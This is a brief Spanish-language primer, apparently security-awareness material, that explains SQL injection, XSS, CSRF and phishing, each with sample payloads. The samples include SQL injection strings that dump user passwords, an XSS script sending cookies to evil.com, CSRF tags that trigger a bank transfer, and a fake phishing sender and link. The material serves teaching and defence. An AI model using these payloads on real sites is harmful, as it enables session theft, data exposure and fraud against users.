Inyeccion
SQL Injection
El atacante inserta codigo SQL malicioso en un campo de formulario. Si la aplicacion no valida la entrada, el codigo se ejecuta en la base de datos, pudiendo exponer, modificar o eliminar registros.
' OR '1'='1' --
admin'--
' UNION SELECT user, password FROM users--
Scripting
XSS — Cross-Site Scripting
El atacante inyecta codigo JavaScript en una pagina web. Cuando otros usuarios la visitan, el script malicioso se ejecuta en su navegador, pudiendo robar cookies de sesion o redirigir al usuario.
<script>document.location='http://evil.com?c='+document.cookie</script>
<img src=x onerror="alert('XSS')">
Falsificacion
CSRF — Cross-Site Request Forgery
El atacante engana al navegador de una victima autenticada para que envie una solicitud no autorizada. La victima ejecuta acciones sin saberlo como transferir dinero o cambiar su correo.
<img src="https://banco.com/transferir?monto=5000&destino=atacante">
<form action="https://victima.com/cambiar-email" method="POST">
Ingenieria social
Phishing
El atacante suplanta la identidad de un servicio legitimo para engaƱar al usuario y obtener sus credenciales. Se realiza por correo o mensajes con enlaces a paginas falsas.
De: soporte@banc0-seguro.net
"Su cuenta ha sido suspendida.
Verifique en: http://banco-fake.xyz/login"